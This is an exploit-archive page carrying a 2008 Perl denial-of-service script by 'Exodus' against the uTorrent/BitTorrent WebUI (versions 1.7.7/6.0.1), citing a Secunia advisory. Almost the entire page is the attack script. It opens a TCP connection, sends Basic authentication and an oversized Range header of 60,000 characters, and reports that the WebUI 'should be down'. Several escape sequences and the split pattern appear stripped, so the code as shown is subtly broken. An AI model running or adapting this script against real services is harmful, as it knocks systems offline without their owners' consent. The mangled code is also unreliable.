uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header DoS Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header DoS Exploit
# Published : 2008-06-23
# Author : Exodus
# Previous Title : Surgemail 39e-1 Post Auth IMAP Remote Buffer Overflow DoS
# Next Title : Visual Basic Enterprise Edition SP6 vb6skit.dll Buffer Overflow PoC

#!/usr/bin/perl
# uTorrent / BitTorrent  WebIU HTTP 1.7.7/6.0.1 Range header Denial of Service exploit
# according to the following advisory: http://secunia.com/advisories/30605
#
# usage: WebUI-dos.pl <url> <port> <user:pass>
# Exploit written by Exodus.
# http://www.blackhat.org.il

use IO::Socket;
use MIME::Base64;

if(@ARGV < 3)
{ &usage; }

($host,$ref) = split(///,$ARGV[0]);

$sock = IO::Socket::INET->new(PeerAddr => "$host:$ARGV[1]", Proto =>'TCP') || die("[X]Couldnt connect to host: $host:$ARGV[1]n");
$buff = "E" x 60000;
$up = encode_base64($ARGV[2]);
chomp($up);

print $sock "GET /gui/common.js HTTP/1.1rn".
"Host: $hostrn".
"Authorization: Basic $uprn".
"Range: bytes=$buffrn".
"Connection: closernrn";

close($sock);

print "[!]Payload sent, WebUI should be down...n";



sub usage
{
	print "usage $0 <url> <port> <user:pass>n".
		  "ex: $0 127.0.0.1/gui/common.js 1337 admin:adminn";
	exit;
}

# www.Syue.com [2008-06-23]